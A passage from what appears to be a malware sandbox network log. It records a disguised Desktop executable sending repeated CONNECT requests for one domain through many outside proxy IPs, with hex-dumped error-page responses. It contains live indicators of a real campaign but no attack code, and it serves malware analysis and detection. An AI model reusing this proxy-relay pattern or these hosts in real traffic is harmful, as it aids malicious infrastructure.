306	192.168.2.11	50943	39.108.227.108	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.949513912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.293346882 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 33 38 37 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908313874"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.11	50989	72.195.34.41	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.957782030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.11	51052	185.162.229.70	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.980945110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.135835886 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.11	50335	162.241.46.6	34172	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.981126070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.985619068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.986242056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.985621929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.985493898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.11	51048	162.159.246.135	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.983355045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.146219969 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.11	50945	202.40.181.220	31247	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.996237040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.11	50241	37.120.189.106	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.998814106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.005019903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.018912077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.141977072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.141623974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:17.553806067 CET	831	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:43:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.11	50985	103.197.71.7	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.006141901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.11	50988	5.252.23.220	1081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.017330885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.11	50987	198.44.255.3	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.030088902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.11	50367	189.173.223.225	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.032843113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.188625097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.189713955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.188900948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.204240084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.266668081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:08.282205105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:32.282159090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:35.941684008 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.11	50340	92.204.134.38	42571	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.033090115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.188627958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.189717054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.188896894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.204102993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.266624928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.11	50993	31.43.158.108	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.048532009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.11	51014	27.0.234.206	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.062926054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.11	51040	72.210.221.197	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.071811914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.11	51104	154.208.10.126	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.071949959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.234580994 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.1 Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.11	50406	198.12.255.193	6821	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.075408936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.141802073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.11	51073	66.45.246.194	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.077877045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.11	51019	60.188.102.225	18080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
